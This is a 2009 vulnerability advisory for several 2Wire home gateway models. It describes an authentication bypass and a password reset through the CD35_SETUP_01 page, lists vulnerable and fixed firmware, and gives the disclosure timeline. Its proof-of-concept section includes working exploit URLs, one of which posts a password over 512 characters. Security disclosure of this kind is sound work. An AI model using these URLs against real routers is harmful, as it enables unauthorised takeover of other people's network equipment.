2WIRE Gateway Authentication Bypass & Password Reset

2WIRE GATEWAY AUTHENTICATION BYPASS & PASSWORD RESET
====================================================


   DESCRIPTION
-----------------
There is an authentication bypass vulnerability in page=CD35_SETUP_01
that allows you to set a new password even if the password was
previously set.

By setting a new password with more than 512 characters the password
gets reset and next time you access the router you will be prompted for
a new password.


   VULNERABLE
----------------
2Wire 2071 Gateway
2Wire 1800HW
2Wire 1701HG

 Firmware
5.29.51
3.17.5
3.7.1

   NOT VULNERABLE
--------------------
 Firmware
5.29.135.5 or later


   DISCLOSURE TIMELINE
-------------------------
03/27/2009 - 2wire Contacted
no satisfactory response
07/11/2009 - Sent complete details to 2wire
no response
07/17/2009 - Sent advisory with video demo to 2wire
ticket status escalated, but no response
08/02/2009 - Made public @ Defcon 17


   EXPLOIT/POC
-----------------
Authentication Bypass - just use this page to set a new password

     http://gateway.2wire.net?xslt?page=CD35_SETUP_01

Video: http://www.hakim.ws/2wire/2wire_CD35_Bypass.ogv


Password Reset - using the same form but sending a password > 512
characters

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=*Ax512*&password2=*Ax512*

Video: http://www.hakim.ws/2wire/2wire_CD35_Reset.ogv


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------------
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             h k m
      http://www.hakim.ws